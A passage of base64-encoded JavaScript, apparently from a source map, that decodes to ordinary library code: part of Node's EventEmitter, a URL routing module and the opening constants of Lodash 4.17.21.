udHM7XG4gICAgICBpZiAoZXZlbnRzID09PSB1bmRlZmluZWQpXG4gICAgICAgIHJldHVybiB0aGlzO1xuXG4gICAgICBsaXN0ID0gZXZlbnRzW3R5cGVdO1xuICAgICAgaWYgKGxpc3QgPT09IHVuZGVmaW5lZClcbiAgICAgICAgcmV0dXJuIHRoaXM7XG5cbiAgICAgIGlmIChsaXN0ID09PSBsaXN0ZW5lciB8fCBsaXN0Lmxpc3RlbmVyID09PSBsaXN0ZW5lcikge1xuICAgICAgICBpZiAoLS10aGlzLl9ldmVudHNDb3VudCA9PT0gMClcbiAgICAgICAgICB0aGlzLl9ldmVudHMgPSBPYmplY3QuY3JlYXRlKG51bGwpO1xuICAgICAgICBlbHNlIHtcbiAgICAgICAgICBkZWxldGUgZXZlbnRzW3R5cGVdO1xuICAgICAgICAgIGlmIChldmVudHMucmVtb3ZlTGlzdGVuZXIpXG4gICAgICAgICAgICB0aGlzLmVtaXQoJ3JlbW92ZUxpc3RlbmVyJywgdHlwZSwgbGlzdC5saXN0ZW5lciB8fCBsaXN0ZW5lcik7XG4gICAgICAgIH1cbiAgICAgIH0gZWxzZSBpZiAodHlwZW9mIGxpc3QgIT09ICdmdW5jdGlvbicpIHtcbiAgICAgICAgcG9zaXRpb24gPSAtMTtcblxuICAgICAgICBmb3IgKGkgPSBsaXN0Lmxlbmd0aCAtIDE7IGkgPj0gMDsgaS0tKSB7XG4gICAgICAgICAgaWYgKGxpc3RbaV0gPT09IGxpc3RlbmVyIHx8IGxpc3RbaV0ubGlzdGVuZXIgPT09IGxpc3RlbmVyKSB7XG4gICAgICAgICAgICBvcmlnaW5hbExpc3RlbmVyID0gbGlzdFtpXS5saXN0ZW5lcjtcbiAgICAgICAgICAgIHBvc2l0aW9uID0gaTtcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmIChwb3NpdGlvbiA8IDApXG4gICAgICAgICAgcmV0dXJuIHRoaXM7XG5cbiAgICAgICAgaWYgKHBvc2l0aW9uID09PSAwKVxuICAgICAgICAgIGxpc3Quc2hpZnQoKTtcbiAgICAgICAgZWxzZSB7XG4gICAgICAgICAgc3BsaWNlT25lKGxpc3QsIHBvc2l0aW9uKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmIChsaXN0Lmxlbmd0aCA9PT0gMSlcbiAgICAgICAgICBldmVudHNbdHlwZV0gPSBsaXN0WzBdO1xuXG4gICAgICAgIGlmIChldmVudHMucmVtb3ZlTGlzdGVuZXIgIT09IHVuZGVmaW5lZClcbiAgICAgICAgICB0aGlzLmVtaXQoJ3JlbW92ZUxpc3RlbmVyJywgdHlwZSwgb3JpZ2luYWxMaXN0ZW5lciB8fCBsaXN0ZW5lcik7XG4gICAgICB9XG5cbiAgICAgIHJldHVybiB0aGlzO1xuICAgIH07XG5cbkV2ZW50RW1pdHRlci5wcm90b3R5cGUub2ZmID0gRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5yZW1vdmVMaXN0ZW5lcjtcblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5yZW1vdmVBbGxMaXN0ZW5lcnMgPVxuICAgIGZ1bmN0aW9uIHJlbW92ZUFsbExpc3RlbmVycyh0eXBlKSB7XG4gICAgICB2YXIgbGlzdGVuZXJzLCBldmVudHMsIGk7XG5cbiAgICAgIGV2ZW50cyA9IHRoaXMuX2V2ZW50cztcbiAgICAgIGlmIChldmVudHMgPT09IHVuZGVmaW5lZClcbiAgICAgICAgcmV0dXJuIHRoaXM7XG5cbiAgICAgIC8vIG5vdCBsaXN0ZW5pbmcgZm9yIHJlbW92ZUxpc3RlbmVyLCBubyBuZWVkIHRvIGVtaXRcbiAgICAgIGlmIChldmVudHMucmVtb3ZlTGlzdGVuZXIgPT09IHVuZGVmaW5lZCkge1xuICAgICAgICBpZiAoYXJndW1lbnRzLmxlbmd0aCA9PT0gMCkge1xuICAgICAgICAgIHRoaXMuX2V2ZW50cyA9IE9iamVjdC5jcmVhdGUobnVsbCk7XG4gICAgICAgICAgdGhpcy5fZXZlbnRzQ291bnQgPSAwO1xuICAgICAgICB9IGVsc2UgaWYgKGV2ZW50c1t0eXBlXSAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgaWYgKC0tdGhpcy5fZXZlbnRzQ291bnQgPT09IDApXG4gICAgICAgICAgICB0aGlzLl9ldmVudHMgPSBPYmplY3QuY3JlYXRlKG51bGwpO1xuICAgICAgICAgIGVsc2VcbiAgICAgICAgICAgIGRlbGV0ZSBldmVudHNbdHlwZV07XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIHRoaXM7XG4gICAgICB9XG5cbiAgICAgIC8vIGVtaXQgcmVtb3ZlTGlzdGVuZXIgZm9yIGFsbCBsaXN0ZW5lcnMgb24gYWxsIGV2ZW50c1xuICAgICAgaWYgKGFyZ3VtZW50cy5sZW5ndGggPT09IDApIHtcbiAgICAgICAgdmFyIGtleXMgPSBPYmplY3Qua2V5cyhldmVudHMpO1xuICAgICAgICB2YXIga2V5O1xuICAgICAgICBmb3IgKGkgPSAwOyBpIDwga2V5cy5sZW5ndGg7ICsraSkge1xuICAgICAgICAgIGtleSA9IGtleXNbaV07XG4gICAgICAgICAgaWYgKGtleSA9PT0gJ3JlbW92ZUxpc3RlbmVyJykgY29udGludWU7XG4gICAgICAgICAgdGhpcy5yZW1vdmVBbGxMaXN0ZW5lcnMoa2V5KTtcbiAgICAgICAgfVxuICAgICAgICB0aGlzLnJlbW92ZUFsbExpc3RlbmVycygncmVtb3ZlTGlzdGVuZXInKTtcbiAgICAgICAgdGhpcy5fZXZlbnRzID0gT2JqZWN0LmNyZWF0ZShudWxsKTtcbiAgICAgICAgdGhpcy5fZXZlbnRzQ291bnQgPSAwO1xuICAgICAgICByZXR1cm4gdGhpcztcbiAgICAgIH1cblxuICAgICAgbGlzdGVuZXJzID0gZXZlbnRzW3R5cGVdO1xuXG4gICAgICBpZiAodHlwZW9mIGxpc3RlbmVycyA9PT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICB0aGlzLnJlbW92ZUxpc3RlbmVyKHR5cGUsIGxpc3RlbmVycyk7XG4gICAgICB9IGVsc2UgaWYgKGxpc3RlbmVycyAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIC8vIExJRk8gb3JkZXJcbiAgICAgICAgZm9yIChpID0gbGlzdGVuZXJzLmxlbmd0aCAtIDE7IGkgPj0gMDsgaS0tKSB7XG4gICAgICAgICAgdGhpcy5yZW1vdmVMaXN0ZW5lcih0eXBlLCBsaXN0ZW5lcnNbaV0pO1xuICAgICAgICB9XG4gICAgICB9XG5cbiAgICAgIHJldHVybiB0aGlzO1xuICAgIH07XG5cbmZ1bmN0aW9uIF9saXN0ZW5lcnModGFyZ2V0LCB0eXBlLCB1bndyYXApIHtcbiAgdmFyIGV2ZW50cyA9IHRhcmdldC5fZXZlbnRzO1xuXG4gIGlmIChldmVudHMgPT09IHVuZGVmaW5lZClcbiAgICByZXR1cm4gW107XG5cbiAgdmFyIGV2bGlzdGVuZXIgPSBldmVudHNbdHlwZV07XG4gIGlmIChldmxpc3RlbmVyID09PSB1bmRlZmluZWQpXG4gICAgcmV0dXJuIFtdO1xuXG4gIGlmICh0eXBlb2YgZXZsaXN0ZW5lciA9PT0gJ2Z1bmN0aW9uJylcbiAgICByZXR1cm4gdW53cmFwID8gW2V2bGlzdGVuZXIubGlzdGVuZXIgfHwgZXZsaXN0ZW5lcl0gOiBbZXZsaXN0ZW5lcl07XG5cbiAgcmV0dXJuIHVud3JhcCA/XG4gICAgdW53cmFwTGlzdGVuZXJzKGV2bGlzdGVuZXIpIDogYXJyYXlDbG9uZShldmxpc3RlbmVyLCBldmxpc3RlbmVyLmxlbmd0aCk7XG59XG5cbkV2ZW50RW1pdHRlci5wcm90b3R5cGUubGlzdGVuZXJzID0gZnVuY3Rpb24gbGlzdGVuZXJzKHR5cGUpIHtcbiAgcmV0dXJuIF9saXN0ZW5lcnModGhpcywgdHlwZSwgdHJ1ZSk7XG59O1xuXG5FdmVudEVtaXR0ZXIucHJvdG90eXBlLnJhd0xpc3RlbmVycyA9IGZ1bmN0aW9uIHJhd0xpc3RlbmVycyh0eXBlKSB7XG4gIHJldHVybiBfbGlzdGVuZXJzKHRoaXMsIHR5cGUsIGZhbHNlKTtcbn07XG5cbkV2ZW50RW1pdHRlci5saXN0ZW5lckNvdW50ID0gZnVuY3Rpb24oZW1pdHRlciwgdHlwZSkge1xuICBpZiAodHlwZW9mIGVtaXR0ZXIubGlzdGVuZXJDb3VudCA9PT0gJ2Z1bmN0aW9uJykge1xuICAgIHJldHVybiBlbWl0dGVyLmxpc3RlbmVyQ291bnQodHlwZSk7XG4gIH0gZWxzZSB7XG4gICAgcmV0dXJuIGxpc3RlbmVyQ291bnQuY2FsbChlbWl0dGVyLCB0eXBlKTtcbiAgfVxufTtcblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5saXN0ZW5lckNvdW50ID0gbGlzdGVuZXJDb3VudDtcbmZ1bmN0aW9uIGxpc3RlbmVyQ291bnQodHlwZSkge1xuICB2YXIgZXZlbnRzID0gdGhpcy5fZXZlbnRzO1xuXG4gIGlmIChldmVudHMgIT09IHVuZGVmaW5lZCkge1xuICAgIHZhciBldmxpc3RlbmVyID0gZXZlbnRzW3R5cGVdO1xuXG4gICAgaWYgKHR5cGVvZiBldmxpc3RlbmVyID09PSAnZnVuY3Rpb24nKSB7XG4gICAgICByZXR1cm4gMTtcbiAgICB9IGVsc2UgaWYgKGV2bGlzdGVuZXIgIT09IHVuZGVmaW5lZCkge1xuICAgICAgcmV0dXJuIGV2bGlzdGVuZXIubGVuZ3RoO1xuICAgIH1cbiAgfVxuXG4gIHJldHVybiAwO1xufVxuXG5FdmVudEVtaXR0ZXIucHJvdG90eXBlLmV2ZW50TmFtZXMgPSBmdW5jdGlvbiBldmVudE5hbWVzKCkge1xuICByZXR1cm4gdGhpcy5fZXZlbnRzQ291bnQgPiAwID8gUmVmbGVjdE93bktleXModGhpcy5fZXZlbnRzKSA6IFtdO1xufTtcblxuZnVuY3Rpb24gYXJyYXlDbG9uZShhcnIsIG4pIHtcbiAgdmFyIGNvcHkgPSBuZXcgQXJyYXkobik7XG4gIGZvciAodmFyIGkgPSAwOyBpIDwgbjsgKytpKVxuICAgIGNvcHlbaV0gPSBhcnJbaV07XG4gIHJldHVybiBjb3B5O1xufVxuXG5mdW5jdGlvbiBzcGxpY2VPbmUobGlzdCwgaW5kZXgpIHtcbiAgZm9yICg7IGluZGV4ICsgMSA8IGxpc3QubGVuZ3RoOyBpbmRleCsrKVxuICAgIGxpc3RbaW5kZXhdID0gbGlzdFtpbmRleCArIDFdO1xuICBsaXN0LnBvcCgpO1xufVxuXG5mdW5jdGlvbiB1bndyYXBMaXN0ZW5lcnMoYXJyKSB7XG4gIHZhciByZXQgPSBuZXcgQXJyYXkoYXJyLmxlbmd0aCk7XG4gIGZvciAodmFyIGkgPSAwOyBpIDwgcmV0Lmxlbmd0aDsgKytpKSB7XG4gICAgcmV0W2ldID0gYXJyW2ldLmxpc3RlbmVyIHx8IGFycltpXTtcbiAgfVxuICByZXR1cm4gcmV0O1xufVxuIiwiJ3VzZSBzdHJpY3QnO3ZhciBfZXh0ZW5kcz1PYmplY3QuYXNzaWdufHxmdW5jdGlvbihhKXtmb3IodmFyIGIsYz0xO2M8YXJndW1lbnRzLmxlbmd0aDtjKyspZm9yKHZhciBkIGluIGI9YXJndW1lbnRzW2NdLGIpT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKGIsZCkmJihhW2RdPWJbZF0pO3JldHVybiBhfSxfdHlwZW9mPSdmdW5jdGlvbic9PXR5cGVvZiBTeW1ib2wmJidzeW1ib2wnPT10eXBlb2YgU3ltYm9sLml0ZXJhdG9yP2Z1bmN0aW9uKGEpe3JldHVybiB0eXBlb2YgYX06ZnVuY3Rpb24oYSl7cmV0dXJuIGEmJidmdW5jdGlvbic9PXR5cGVvZiBTeW1ib2wmJmEuY29uc3RydWN0b3I9PT1TeW1ib2wmJmEhPT1TeW1ib2wucHJvdG90eXBlPydzeW1ib2wnOnR5cGVvZiBhfTtmdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soYSxiKXtpZighKGEgaW5zdGFuY2VvZiBiKSl0aHJvdyBuZXcgVHlwZUVycm9yKCdDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb24nKX12YXIgUm91dGluZz1mdW5jdGlvbiBhKCl7dmFyIGI9dGhpcztfY2xhc3NDYWxsQ2hlY2sodGhpcyxhKSx0aGlzLnNldFJvdXRlcz1mdW5jdGlvbihhKXtiLnJvdXRlc1JvdXRpbmc9YXx8W119LHRoaXMuZ2V0Um91dGVzPWZ1bmN0aW9uKCl7cmV0dXJuIGIucm91dGVzUm91dGluZ30sdGhpcy5zZXRCYXNlVXJsPWZ1bmN0aW9uKGEpe2IuY29udGV4dFJvdXRpbmcuYmFzZV91cmw9YX0sdGhpcy5nZXRCYXNlVXJsPWZ1bmN0aW9uKCl7cmV0dXJuIGIuY29udGV4dFJvdXRpbmcuYmFzZV91cmx9LHRoaXMuc2V0UHJlZml4PWZ1bmN0aW9uKGEpe2IuY29udGV4dFJvdXRpbmcucHJlZml4PWF9LHRoaXMuc2V0U2NoZW1lPWZ1bmN0aW9uKGEpe2IuY29udGV4dFJvdXRpbmcuc2NoZW1lPWF9LHRoaXMuZ2V0U2NoZW1lPWZ1bmN0aW9uKCl7cmV0dXJuIGIuY29udGV4dFJvdXRpbmcuc2NoZW1lfSx0aGlzLnNldEhvc3Q9ZnVuY3Rpb24oYSl7Yi5jb250ZXh0Um91dGluZy5ob3N0PWF9LHRoaXMuZ2V0SG9zdD1mdW5jdGlvbigpe3JldHVybiBiLmNvbnRleHRSb3V0aW5nLmhvc3R9LHRoaXMuYnVpbGRRdWVyeVBhcmFtcz1mdW5jdGlvbihhLGMsZCl7dmFyIGU9bmV3IFJlZ0V4cCgvXFxbXSQvKTtjIGluc3RhbmNlb2YgQXJyYXk/Yy5mb3JFYWNoKGZ1bmN0aW9uKGMsZil7ZS50ZXN0KGEpP2QoYSxjKTpiLmJ1aWxkUXVlcnlQYXJhbXMoYSsnWycrKCdvYmplY3QnPT09KCd1bmRlZmluZWQnPT10eXBlb2YgYz8ndW5kZWZpbmVkJzpfdHlwZW9mKGMpKT9mOicnKSsnXScsYyxkKX0pOidvYmplY3QnPT09KCd1bmRlZmluZWQnPT10eXBlb2YgYz8ndW5kZWZpbmVkJzpfdHlwZW9mKGMpKT9PYmplY3Qua2V5cyhjKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe3JldHVybiBiLmJ1aWxkUXVlcnlQYXJhbXMoYSsnWycrZSsnXScsY1tlXSxkKX0pOmQoYSxjKX0sdGhpcy5nZXRSb3V0ZT1mdW5jdGlvbihhKXt2YXIgYz1iLmNvbnRleHRSb3V0aW5nLnByZWZpeCthO2lmKCEhYi5yb3V0ZXNSb3V0aW5nW2NdKXJldHVybiBiLnJvdXRlc1JvdXRpbmdbY107ZWxzZSBpZighYi5yb3V0ZXNSb3V0aW5nW2FdKXRocm93IG5ldyBFcnJvcignVGhlIHJvdXRlIFwiJythKydcIiBkb2VzIG5vdCBleGlzdC4nKTtyZXR1cm4gYi5yb3V0ZXNSb3V0aW5nW2FdfSx0aGlzLmdlbmVyYXRlPWZ1bmN0aW9uKGEsYyxkKXt2YXIgZT1iLmdldFJvdXRlKGEpLGY9Y3x8e30sZz1fZXh0ZW5kcyh7fSxmKSxoPSdfc2NoZW1lJyxpPScnLGo9ITAsaz0nJztpZigoZS50b2tlbnN8fFtdKS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2lmKCd0ZXh0Jz09PWJbMF0pcmV0dXJuIGk9YlsxXStpLHZvaWQoaj0hMSk7aWYoJ3ZhcmlhYmxlJz09PWJbMF0pe3ZhciBjPShlLmRlZmF1bHRzfHx7fSlbYlszXV07aWYoITE9PWp8fCFjfHwoZnx8e30pW2JbM11dJiZmW2JbM11dIT09ZS5kZWZhdWx0c1tiWzNdXSl7dmFyIGQ7aWYoKGZ8fHt9KVtiWzNdXSlkPWZbYlszXV0sZGVsZXRlIGdbYlszXV07ZWxzZSBpZihjKWQ9ZS5kZWZhdWx0c1tiWzNdXTtlbHNle2lmKGopcmV0dXJuO3Rocm93IG5ldyBFcnJvcignVGhlIHJvdXRlIFwiJythKydcIiByZXF1aXJlcyB0aGUgcGFyYW1ldGVyIFwiJytiWzNdKydcIi4nKX12YXIgaD0hMD09PWR8fCExPT09ZHx8Jyc9PT1kO2lmKCFofHwhail7dmFyIGs9ZW5jb2RlVVJJQ29tcG9uZW50KGQpLnJlcGxhY2UoLyUyRi9nLCcvJyk7J251bGwnPT09ayYmbnVsbD09PWQmJihrPScnKSxpPWJbMV0raytpfWo9ITF9ZWxzZSBjJiZkZWxldGUgZ1tiWzNdXTtyZXR1cm59dGhyb3cgbmV3IEVycm9yKCdUaGUgdG9rZW4gdHlwZSBcIicrYlswXSsnXCIgaXMgbm90IHN1cHBvcnRlZC4nKX0pLCcnPT1pJiYoaT0nLycpLChlLmhvc3R0b2tlbnN8fFtdKS5mb3JFYWNoKGZ1bmN0aW9uKGEpe3ZhciBiO3JldHVybid0ZXh0Jz09PWFbMF0/dm9pZChrPWFbMV0rayk6dm9pZCgndmFyaWFibGUnPT09YVswXSYmKChmfHx7fSlbYVszXV0/KGI9ZlthWzNdXSxkZWxldGUgZ1thWzNdXSk6ZS5kZWZhdWx0c1thWzNdXSYmKGI9ZS5kZWZhdWx0c1thWzNdXSksaz1hWzFdK2IraykpfSksaT1iLmNvbnRleHRSb3V0aW5nLmJhc2VfdXJsK2ksZS5yZXF1aXJlbWVudHNbaF0mJmIuZ2V0U2NoZW1lKCkhPT1lLnJlcXVpcmVtZW50c1toXT9pPWUucmVxdWlyZW1lbnRzW2hdKyc6Ly8nKyhrfHxiLmdldEhvc3QoKSkraTprJiZiLmdldEhvc3QoKSE9PWs/aT1iLmdldFNjaGVtZSgpKyc6Ly8nK2sraTohMD09PWQmJihpPWIuZ2V0U2NoZW1lKCkrJzovLycrYi5nZXRIb3N0KCkraSksMDxPYmplY3Qua2V5cyhnKS5sZW5ndGgpe3ZhciBsPVtdLG09ZnVuY3Rpb24oYSxiKXt2YXIgYz1iO2M9J2Z1bmN0aW9uJz09dHlwZW9mIGM/YygpOmMsYz1udWxsPT09Yz8nJzpjLGwucHVzaChlbmNvZGVVUklDb21wb25lbnQoYSkrJz0nK2VuY29kZVVSSUNvbXBvbmVudChjKSl9O09iamVjdC5rZXlzKGcpLmZvckVhY2goZnVuY3Rpb24oYSl7cmV0dXJuIGIuYnVpbGRRdWVyeVBhcmFtcyhhLGdbYV0sbSl9KSxpPWkrJz8nK2wuam9pbignJicpLnJlcGxhY2UoLyUyMC9nLCcrJyl9cmV0dXJuIGl9LHRoaXMuc2V0RGF0YT1mdW5jdGlvbihhKXtiLnNldEJhc2VVcmwoYS5iYXNlX3VybCksYi5zZXRSb3V0ZXMoYS5yb3V0ZXMpLCdwcmVmaXgnaW4gYSYmYi5zZXRQcmVmaXgoYS5wcmVmaXgpLGIuc2V0SG9zdChhLmhvc3QpLGIuc2V0U2NoZW1lKGEuc2NoZW1lKX0sdGhpcy5jb250ZXh0Um91dGluZz17YmFzZV91cmw6JycscHJlZml4OicnLGhvc3Q6Jycsc2NoZW1lOicnfX07bW9kdWxlLmV4cG9ydHM9bmV3IFJvdXRpbmc7IiwiLyoqXG4gKiBAbGljZW5zZVxuICogTG9kYXNoIDxodHRwczovL2xvZGFzaC5jb20vPlxuICogQ29weXJpZ2h0IE9wZW5KUyBGb3VuZGF0aW9uIGFuZCBvdGhlciBjb250cmlidXRvcnMgPGh0dHBzOi8vb3BlbmpzZi5vcmcvPlxuICogUmVsZWFzZWQgdW5kZXIgTUlUIGxpY2Vuc2UgPGh0dHBzOi8vbG9kYXNoLmNvbS9saWNlbnNlPlxuICogQmFzZWQgb24gVW5kZXJzY29yZS5qcyAxLjguMyA8aHR0cDovL3VuZGVyc2NvcmVqcy5vcmcvTElDRU5TRT5cbiAqIENvcHlyaWdodCBKZXJlbXkgQXNoa2VuYXMsIERvY3VtZW50Q2xvdWQgYW5kIEludmVzdGlnYXRpdmUgUmVwb3J0ZXJzICYgRWRpdG9yc1xuICovXG47KGZ1bmN0aW9uKCkge1xuXG4gIC8qKiBVc2VkIGFzIGEgc2FmZSByZWZlcmVuY2UgZm9yIGB1bmRlZmluZWRgIGluIHByZS1FUzUgZW52aXJvbm1lbnRzLiAqL1xuICB2YXIgdW5kZWZpbmVkO1xuXG4gIC8qKiBVc2VkIGFzIHRoZSBzZW1hbnRpYyB2ZXJzaW9uIG51bWJlci4gKi9cbiAgdmFyIFZFUlNJT04gPSAnNC4xNy4yMSc7XG5cbiAgLyoqIFVzZWQgYXMgdGhlIHNpemUgdG8gZW5hYmxlIGxhcmdlIGFycmF5IG9wdGltaXphdGlvbnMuICovXG4gIHZhciBMQVJHRV9BUlJBWV9TSVpFID0gMjAwO1xuXG4gIC8qKiBFcnJvciBtZXNzYWdlIGNvbnN0YW50cy4gKi9cbiAgdmFyIENPUkVfRVJST1JfVEVYVCA9ICdVbnN1cHBvcnRlZCBjb3JlLWpzIHVzZS4gVHJ5IGh0dHBzOi8vbnBtcy5pby9zZWFyY2g/cT1wb255ZmlsbC4nLFxuICAgICAgRlVOQ19FUlJPUl9URVhUID0gJ0V4cGVjdGVkIGEgZnVuY3Rpb24nLFxuICAgICAgSU5WQUxJRF9URU1QTF9WQVJfRVJST1JfVEVYVCA9ICdJbnZhbGlkIGB2YXJpYWJsZWAgb3B0aW9uIHBhc3NlZCBpbnRvIGBfLnRlbXBsYXRlYCc7XG5cbiAgLyoqIFVzZWQgdG8gc3RhbmQtaW4gZm9yIGB1bmRlZmluZWRgIGhhc2ggdmFsdWVzLiAqL1xuICB2YXIgSEFTSF9VTkRFRklORUQgPSAnX19sb2Rhc2hfaGFzaF91bmRlZmluZWRfXyc7XG5cbiAgLyoqIFVzZWQgYXMgdGhlIG1heGltdW0gbWVtb2l6ZSBjYWNoZSBzaXplLiAqL1xuICB2YXIgTUFYX01FTU9JWkVfU0laRSA9IDUwMDtcblxuICAvKiogVXNlZCBhcyB0aGUgaW50ZXJuYWwgYXJndW1lbnQgcGxhY2Vob2xkZXIuICovXG4gIHZhciBQTEFDRUhPTERFUiA9ICdfX2xvZGFzaF9wbGFjZWhvbGRlcl9fJztcblxuICAvKiogVXNlZCB0byBjb21wb3NlIGJpdG1hc2tzIGZvciBjbG9uaW5nLiAqL1xuICB2YXIgQ0xPTkVfREVFUF9GTEFHID0gMSxcbiAgICAgIENMT05FX0ZMQVRfRkxBRyA9IDIsXG4gICAgICBDTE9ORV9TWU1CT0xTX0ZMQUcgPSA0O1xuXG4gIC8qKiBVc2VkIHRvIGNvbXBvc2UgYml0bWFza3MgZm9yIHZhbHVlIGNvbXBhcmlzb25zLiAqL1xuICB2YXIgQ09NUEFSRV9QQVJUSUFMX0ZMQUcgPSAxLFxuICAgICAgQ09NUEFSRV9VTk9SREVSRURfRkxBRyA9IDI7XG5cbiAgLyoqIFVzZWQgdG8gY29tcG9zZSBiaXRtYXNrcyBmb3IgZnVuY3Rpb24gbWV0YWRhdGEuICovXG4gIHZhciBXUkFQX0JJTkRfRkxBRyA9IDEsXG4gICAgICBXUkFQX0JJTkRfS0VZX0ZMQUcgPSAyLFxuICAgICAgV1JBUF9DVVJSWV9CT1VORF9GTEFHID0gNCxcbiAgICAgIFdSQVBfQ1VSUllfRkxBRyA9IDgsXG4gICAgICBXUkFQX0NVUlJZX1JJR0hUX0ZMQUcgPSAxNixcbiAgICAgIFdSQVBfUEFSVElBTF9GTEFHID0gMzIsXG4gICAgICBXUkFQX1BBUlRJQUxfUklHSFRfRkxBRyA9IDY0LFxuICAgICAgV1JBUF9BUllfRkxBRyA9IDEyOCxcbiAgICAgIFdSQVBfUkVBUkdfRkxBRyA9IDI1NixcbiAgICAgIFdSQVBfRkxJUF9GTEFHID0gNTEyO1xuXG4gIC8qKiBVc2VkIGFzIGRlZmF1bHQgb3B0aW9ucyBmb3IgYF8udHJ1bmNhdGVgLiAqL1xuICB2YXIgREVGQVVMVF9UUlVOQ19MRU5HVEggPSAzMCxcbiAgICAgIERFRkFVTFRfVFJVTkNfT01JU1NJT04gPSAnLi4uJztcblxuICAvKiogVXNlZCB0byBkZXRlY3QgaG90IGZ1bmN0aW9ucyBieSBudW1iZXIgb2YgY2FsbHMgd2l0aGluIGEgc3BhbiBvZiBtaWxsaXNlY29uZHMuICovXG4gIHZhciBIT1RfQ09VTlQgPSA4MDAsXG4gICAgICBIT1RfU1BBTiA9IDE2O1xuXG4gIC8qKiBVc2VkIHRvIGluZGljYXRlIHRoZSB0eXBlIG9mIGxhenkgaXRlcmF0ZWVzLiAqL1xuICB2YXIgTEFaWV9GSUxURVJfRkxBRyA9IDEsXG4gICAgICBMQVpZX01BUF9GTEFHID0gMixcbiAgICAgIExBWllfV0hJTEVfRkxBRyA9IDM7XG5cbiAgLyoqIFVzZWQgYXMgcmVmZXJlbmNlcyBmb3IgdmFyaW91cyBgTnVtYmVyYCBjb25zdGFudHMuICovXG4gIHZhciBJTkZJTklUWSA9IDEgLyAwLFxuICAgICAgTUFYX1NBRkVfSU5URUdFUiA9IDkwMDcxOTkyNTQ3NDA5OTEsXG4gICAgICBNQVhfSU5URUdFUiA9IDEuNzk3NjkzMTM0ODYyMzE1N2UrMzA4LFxuICAgICAgTkFOID0gMCAvIDA7XG5cbiAgLyoqIFVzZWQgYXMgcmVmZXJlbmNlcyBmb3IgdGhlIG1heGltdW0gbGVuZ3RoIGFuZCBpbmRleCBvZiBhbiBhcnJheS4gKi9cbiAgdmFyIE1BWF9BUlJBWV9MRU5HVEggPSA0Mjk0OTY3Mjk1LFxuICAgICAgTUFYX0FSUkFZX0lOREVYID0gTUFYX0FSUkFZX0xFTkdUSCAtIDEsXG4gICAgICBIQUxGX01BWF9BUlJBWV9MRU5HVEggPSBNQVhfQVJSQVlfTEVOR1RIID4+PiAxO1xuXG4gIC8qKiBVc2VkIHRvIGFzc29jaWF0ZSB3cmFwIG1ldGhvZHMgd2l0aCB0aGVpciBiaXQgZmxhZ3MuICovXG4gIHZhciB3cmFwRmxhZ3MgPSBbXG4gICAgWydhcnknLCBXUkFQX0FSWV9GTEFHXSxcbiAgICBbJ2JpbmQnLCBXUkFQX0JJTkRfRkxBR10sXG4gICAgWydiaW5kS2V5JywgV1JBUF9CSU5EX0tFWV9GTEFHXSxcbiAgICBbJ2N1cnJ5JywgV1JBUF9DVVJSWV9GTEFHXSxcbiAgICBbJ2N1cnJ5UmlnaHQnLCBXUkFQX0NVUlJZX1JJR0hUX0ZMQUddLFxuICAgIFsnZmxpcCcsIFdSQVBfRkxJUF9GTEFHXSxcbiAgICBbJ3BhcnRpYWwnLCBXUkFQX1BBUlRJQUxfRkxBR10sXG4gICAgWydwYXJ0aWFsUmlnaHQnLCBXUkFQX1BBUlRJQUxfUklHSFRfRkxBR10sXG4gICAgWydyZWFyZycsIFdSQVBfUkVBUkdfRkxBR11cbiAgXTtcblxuICAvKiogYE9iamVjdCN0b1N0cmluZ2AgcmVzdWx0IHJlZmVyZW5jZXMuICovXG4gIHZhciBhcmdzVGFnID0gJ1tvYmplY3QgQXJndW1lbnRzXScsXG4gICAgICBhcnJheVRhZyA9ICdbb2JqZWN0IEFycmF5XScsXG4gICAgICBhc3luY1RhZyA9ICdbb2JqZWN0IEFzeW5jRnVuY3Rpb25dJyxcbiAgICAgIGJvb2xUYWcgPSAnW29iamVjdCBCb29sZWFuXScsXG4gICAgICBkYXRlVGFnID0gJ1tvYmplY3QgRGF0ZV0nLFxuICAgICAgZG9tRXhjVGFnID0gJ1tvYmplY3QgRE9NRXhjZXB0aW9uXScsXG4gICAgICBlcnJvclRhZyA9ICdbb2JqZWN0IEVycm9yXScsXG4gICAgICBmdW5jVGFnID0gJ1tvYmplY3QgRnVuY3Rpb25dJyxcbiAgICAgIGdlblRhZyA9ICdbb2JqZWN0IEdlbmVyYXRvckZ1bmN0aW9uXScsXG4gICAgICBtYXBUYWcgPSAnW29iamVjdCBNYXBdJyxcbiAgICAgIG51bWJlclRhZyA9ICdbb2JqZWN0IE51bWJlcl0nLFxuICAgICAgbnVsbFRhZyA9ICdbb2JqZWN0IE51bGxdJyxcbiAgICAgIG9iamVjdFRhZyA9ICdbb2JqZWN0IE9iamVjdF0nLFxuICAgICAgcHJvbWlzZVRhZyA9ICdbb2JqZWN0IFByb21pc2VdJyxcbiAgICAgIHByb3h5VGFnID0gJ1tvYmplY3QgUHJveHldJyxcbiAgICAgIHJlZ2V4cFRhZyA9ICdbb2JqZWN0IFJlZ0V4cF0nLFxuICAgICAgc2V0VGFnID0gJ1tvYmplY3QgU2V0XScsXG4gICAgICBzdHJpbmdUYWcgPSAnW29iamVjdCBTdHJpbmddJyxcbiAgICAgIHN5bWJvbFRhZyA9ICdbb2JqZWN0IFN5bWJvbF0nLFxuICAgICAgdW5kZWZpbmVkVGFnID0gJ1tvYmplY3QgVW5kZWZpbmVkXScsXG4gICAgICB3ZWFrTWFwVGFnID0gJ1tvYmplY3QgV2Vha01hcF0nLFxuICAgICAgd2Vha1NldFRhZyA9ICdbb2JqZWN0IFdlYWtTZXRdJztcblxuICB2YXIgYXJyYXlCdWZmZXJUYWcgPSAnW29iamVjdCBBcnJheUJ1ZmZlcl0nLFxuICAgICAgZGF0YVZpZXdUYWcgPS